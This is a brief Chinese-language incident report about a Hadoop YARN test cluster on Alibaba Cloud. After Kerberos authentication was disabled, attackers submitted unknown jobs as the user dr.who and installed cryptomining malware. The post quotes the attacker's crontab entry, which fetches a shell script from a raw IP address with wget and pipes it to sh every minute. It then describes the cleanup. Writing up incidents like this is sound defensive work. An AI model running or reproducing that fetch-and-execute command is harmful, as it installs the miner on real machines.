Yarn遭到挖矿病毒攻击

测试环境在阿里云上暴露出了公网端口，前一段时间CDH集群本来是开启了Kerberos认证，可是由于你们反映使用麻烦，因此就又关闭了Kerberos。

最近几天你们广泛反映测试环境上hive和hdfs job执行很慢，yarn进程的cpu使用率持续在200%以上，通过排除CPU使用率已经连续两天100%且没有降下来，查看job以下

有39个job明细多余开发提交的任务数量，且User来自dr.who，这个以前没有见过，初步判定遭受了攻击，

 

切换到yarn用户下：

sudo -u yarn crontab -l

显示* * * * * wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1

且在/var/tmp目录下多出了一个java文件

 

解决办法是关闭掉crontab调度，而且删掉/var/tmp/java文件，从新开启kerberos认证服务器恢复正常